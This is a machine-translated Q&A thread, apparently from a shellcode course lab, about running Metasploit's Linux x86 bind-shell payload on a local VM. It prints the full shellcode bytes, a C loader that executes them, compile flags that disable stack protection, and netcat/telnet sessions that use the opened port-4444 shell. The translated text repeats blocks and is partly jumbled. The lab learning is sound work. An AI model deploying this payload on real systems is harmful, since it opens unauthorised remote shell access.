如何独立运行linux/x86/shell\u bind\u tcp负载？

我正在沙盒c程序中运行Metasploit负载

下面是感兴趣的有效载荷的摘要。从那里我生成一些外壳代码并将其加载到我的沙箱中，但当我运行它时，程序将只是等待。我想这是因为它正在等待连接发送shell，但我不确定

我将如何从：

生成外壳代码

把它装进我的沙箱

---

成功获取

/bin/sh

shell生成外壳代码，编译并运行：

max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
 * linux/x86/shell_bind_tcp - 78 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, 
 * PrependSetresuid=false, PrependSetreuid=false, 
 * PrependSetuid=false, PrependSetresgid=false, 
 * PrependSetregid=false, PrependSetgid=false, 
 * PrependChrootBreak=false, AppendExit=false, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
Shellcode Length:  20

现在，在2号航站楼。检查连接，最后使用

netcat

进行连接。请注意，

$

没有出现，但shell仍然存在：

max@ubuntu-vm:~$ sudo netstat -ntlp 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address     State       PID/Program name
tcp        0      0 0.0.0.0:4444      0.0.0.0:*           LISTEN      3326/shellcode    
max@ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max    591 Jan  2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max    591 Jan  2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max    471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max    471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max    442 Jan  2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max    442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max    139 Dec 27 08:18 compile.sh

---

您是否尝试连接到端口4444？我不确定如何连接。我试着用$ssh登录max@10.0.1.38-第4444页。但是什么也没发生，所以我不确定应该使用什么工具来实际连接。您可能需要检查端口是否打开（使用

netstat

）。如果是，请尝试

telnet

。

#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
 */

unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

main()
{

  printf("Shellcode Length:  %d\n", strlen(code));

  int (*ret)() = (int(*)())code;

  ret();

}

max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
Shellcode Length:  20
(program waiting here...waiting for a connection?)

max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
Shellcode Length:  20

max@ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address       State     PID/Program name      
tcp      0    0     0.0.0.0:4444      0.0.0.0:*             LISTEN    14885/shellcode       
max@ubuntu-vm:~$ 

max@ubuntu-vm:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.

max@ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
 * linux/x86/shell_bind_tcp - 78 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false, 
 * PrependSetresuid=false, PrependSetreuid=false, 
 * PrependSetuid=false, PrependSetresgid=false, 
 * PrependSetregid=false, PrependSetgid=false, 
 * PrependChrootBreak=false, AppendExit=false, 
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max@ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max@ubuntu-vm:~/SLAE/mod2$ ./shellcode 
Shellcode Length:  20

max@ubuntu-vm:~$ sudo netstat -ntlp 
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address     Foreign Address     State       PID/Program name
tcp        0      0 0.0.0.0:4444      0.0.0.0:*           LISTEN      3326/shellcode    
max@ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max    591 Jan  2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max    591 Jan  2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max    471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max    471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max    442 Jan  2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max    442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max    139 Dec 27 08:18 compile.sh